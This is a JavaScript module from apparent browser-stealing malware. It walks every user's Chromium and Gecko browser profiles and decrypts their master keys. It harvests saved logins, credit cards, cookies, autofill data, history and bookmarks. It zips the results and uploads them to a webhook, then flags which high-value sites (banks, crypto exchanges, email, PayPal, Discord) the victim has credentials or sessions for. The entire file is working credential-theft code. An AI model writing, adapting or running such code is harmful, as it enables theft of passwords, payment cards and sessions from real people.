browsers.js

const os = require('os');
const fs = require('fs');
const path = require('path');

const structures = require('./structures.js');
const browsersPaths = require('./paths.js');

const requests = require('./../../utils/requests/requests.js');
const fileutil = require('./../../utils/fileutil/fileutil.js');
const hardware = require('./../../utils/hardware/hardware.js');

const browsersProfiles = require('./profiles.js');

const c = require('./chromium.js');
const chromium = new c.Chromium();

const g = require('./gecko.js');
const gecko = new g.Gecko();

const browsers = {
    downloads: [],
    historys: [],
    bookmarks: [],
    autofills: [],
    logins: [],
    creditcards: [],
    cookies: []
};

const BrowserStats = structures.BrowserStatistics;

const Chromiumbrowsers = async () => {
    const profiles = [];
    const users = await hardware.GetUsers();

    for (const user of users) {
        for (const [name, relativePath] of Object.entries(browsersPaths.GetChromiumBrowsers())) {
            const fullPath = path.join(user, relativePath);

            if (!fs.existsSync(fullPath) || !fs.lstatSync(fullPath).isDirectory()) {
                continue;
            }

            const browser = {
                name: name,
                path: fullPath,
                user: user.split(path.sep)[2]
            };

            BrowserStats.AddUsers(user);

            let profilePaths = browsersProfiles.GetChromiumProfiles(fullPath, name).map(profile => ({
                ...profile,
                browser: browser
            }));

            const MasterKey = await chromium.GetMasterKey(fullPath)

            if (!MasterKey) {
                continue;
            }

            if (profilePaths.length === 0) {
                continue;
            }

            for (const profile of profilePaths) {
                profile.downloads = await chromium.GetDownloads(profile.path) || [];
                profile.historys = await chromium.GetHistorys(profile.path) || [];
                profile.bookmarks = await chromium.GetBookmarks(profile.path) || [];
                profile.autofills = await chromium.GetAutofills(profile.path) || [];
                profile.logins = await chromium.GetLogins(profile.path, MasterKey) || [];
                profile.creditcards = await chromium.GetCreditCards(profile.path, MasterKey) || [];
                profile.cookies = await chromium.GetCookies(profile.path, MasterKey) || [];
                profiles.push(profile);
            }
        }
    }

    return profiles
};

const Geckobrowsers = async () => {
    const profiles = [];
    const users = await hardware.GetUsers();

    for (const user of users) {
        for (const [name, relativePath] of Object.entries(browsersPaths.GetGeckoBrowsers())) {
            const fullPath = path.join(user, relativePath);

            if (!fs.existsSync(fullPath) || !fs.lstatSync(fullPath).isDirectory()) {
                continue;
            }

            const browser = {
                name: name,
                path: fullPath,
                user: user.split(path.sep)[2]
            };

            let profilePaths = browsersProfiles.GetGeckoProfiles(fullPath, name).map(profile => ({
                ...profile,
                browser: browser
            }));

            if (profilePaths.length === 0) {
                continue;
            }

            for (const profile of profilePaths) {
                const MasterKey = await gecko.GetMasterKey(profile.path, '')

                if (!MasterKey) {
                    continue;
                }

                profile.downloads = await gecko.GetDownloads(profile.path) || [];
                profile.historys = await gecko.GetHistorys(profile.path) || [];
                profile.bookmarks = await gecko.GetBookmarks(profile.path) || [];
                profile.logins = await gecko.GetLogins(profile.path, MasterKey) || [];
                profile.cookies = await gecko.GetCookies(profile.path) || [];
                profiles.push(profile);
            }
        }
    }

    return profiles
};

const BrowsersStealer = async (webhookUrl) => {
    const profiles = [...await Chromiumbrowsers(), ...await Geckobrowsers()]

    if (profiles.length === 0) {
        return [];
    }

    const browserTempDir = path.join(os.tmpdir(), 'browsers-temp');
    for (const profile of profiles) {
        const destBrowser = path.join(
            browserTempDir, profile.browser.user, profile.browser.name, profile.profile
        );

        if (!fs.existsSync(destBrowser)) {
            fs.mkdirSync(destBrowser, { recursive: true })
        }

        const profileInfo = {
            browserTempPath: destBrowser,
            user: profile.browser.user,
            browser: profile.browser.name,
            profile: profile.profile,
        };

        browsers.downloads.push({ ...profileInfo, downloads: profile?.downloads || [] });
        browsers.historys.push({ ...profileInfo, historys: profile?.historys || [] });
        browsers.bookmarks.push({ ...profileInfo, bookmarks: profile?.bookmarks || [] });
        browsers.autofills.push({ ...profileInfo, autofills: profile?.autofills || [] });
        browsers.logins.push({ ...profileInfo, logins: profile?.logins || [] });
        browsers.creditcards.push({ ...profileInfo, creditcards: profile?.creditcards || [] });
        browsers.cookies.push({ ...profileInfo, cookies: profile?.cookies || [] });
    }

    BrowserStats.UpdateStatistics(
        browsers.downloads.reduce((acc, { downloads }) => acc + downloads?.length, 0),
        browsers.historys.reduce((acc, { historys }) => acc + historys?.length, 0),
        browsers.bookmarks.reduce((acc, { bookmarks }) => acc + bookmarks?.length, 0),
        browsers.autofills.reduce((acc, { autofills }) => acc + autofills?.length, 0),
        browsers.logins.reduce((acc, { logins }) => acc + logins?.length, 0),
        browsers.creditcards.reduce((acc, { creditcards }) => acc + creditcards?.length, 0),
        browsers.cookies.reduce((acc, { cookies }) => acc + cookies?.length, 0),
    );

    for (const { browserTempPath, downloads } of browsers.downloads) {
        await fileutil.WriteDataToFile(browserTempPath, `downloads.txt`, downloads)
    };

    for (const { browserTempPath, historys } of browsers.historys) {
        await fileutil.WriteDataToFile(browserTempPath, `historys.txt`, historys)
    };

    for (const { browserTempPath, bookmarks } of browsers.bookmarks) {
        await fileutil.WriteDataToFile(browserTempPath, `bookmarks.txt`, bookmarks)
    };

    for (const { browserTempPath, autofills } of browsers.autofills) {
        await fileutil.WriteDataToFile(browserTempPath, `autofills.txt`, autofills)
    };

    for (const { browserTempPath, logins } of browsers.logins) {
        await fileutil.WriteDataToFile(browserTempPath, `logins.txt`, logins)
    };

    for (const { browserTempPath, creditcards } of browsers.creditcards) {
        await fileutil.WriteDataToFile(browserTempPath, `credit_cards.txt`, creditcards)
    };

    for (const { browserTempPath, browser, cookies } of browsers.cookies) {
        await fileutil.WriteDataToFile(browserTempPath, `cookies_${browser.toLowerCase()}.txt`, cookies)
    };

    const browserTempZip = path.join(os.tmpdir(), 'browsers.zip');

    try {
        await fileutil.ZipDirectory({
            inputDir: browserTempDir,
            outputZip: browserTempZip
        });

        await requests.Webhook(webhookUrl, {
            embeds: [{
                title: 'Browsers',
                description: '```' + fileutil.Tree(browserTempDir) + '```',
            }]
        }, [browserTempZip]);

        const WishTempDir = fileutil.WishTempDir('browsers');
        await fileutil.Copy(browserTempDir, WishTempDir);

        [browserTempDir, browserTempZip].forEach(async dir => {
            await fileutil.RemoveDir(dir);
        });
    } catch (error) {
        console.error(error);
    }
};

const KeywordsFound = async (webhookUrl) => {
    const sites = new Set([
        "replit", "hostinger", "cloudflare", "origin", "amazon", "twitter", "aliexpress", "netflix",
        "roblox", "twitch", "facebook", "riotgames", "card", "github", "telegram", "protonmail", "gmail",
        "youtube", "onoff", "xss.is", "pronote", "ovhcloud", "nulled", "cracked", "tiktok", "yahoo", "gmx",
        "aol", "coinbase", "binance", "steam", "epicgames", "discord", "paypal", "instagram", "spotify",
        "onlyfans", "pornhub",
    ]);

    const logins = new Set();
    const cookies = new Set();

    structures.BrowserStatistics.sites.forEach(({ origin_url, source }) => {
        const match = origin_url.match(/(?:https?:\/\/)?(?:www\.)?([^\/]+)(.*)/);

        if (match) {
            const domain = match[1].split('.').slice(-2).join('.');

            if (sites.has(domain)) {
                (source === 'logins' ? logins : cookies).add(domain);
            }
        }
    });

    const Field = (name, items) => items.size > 0 && {
        name: name,
        value: Array.from(items).map(x => `[${x}](https://${x})`).join(', '),
        inline: false,
    };

    try {
        const fields = ['Logins', 'Cookies']
            .map((label, index) => Field(label, index === 0
                ? logins
                : cookies
            ))
            .filter(Boolean);

        if (fields.length) {
            await requests.Webhook(webhookUrl, {
                embeds: [{
                    title: 'Keywords',
                    fields: fields
                }]
            });
        }
    } catch (error) {
        console.error(error);
    }
};

const SessionsFound = require('./sessions.js');

module.exports = async (webhookUrl) => {
    await BrowsersStealer(webhookUrl);
    await KeywordsFound(webhookUrl);
    await SessionsFound(webhookUrl);
};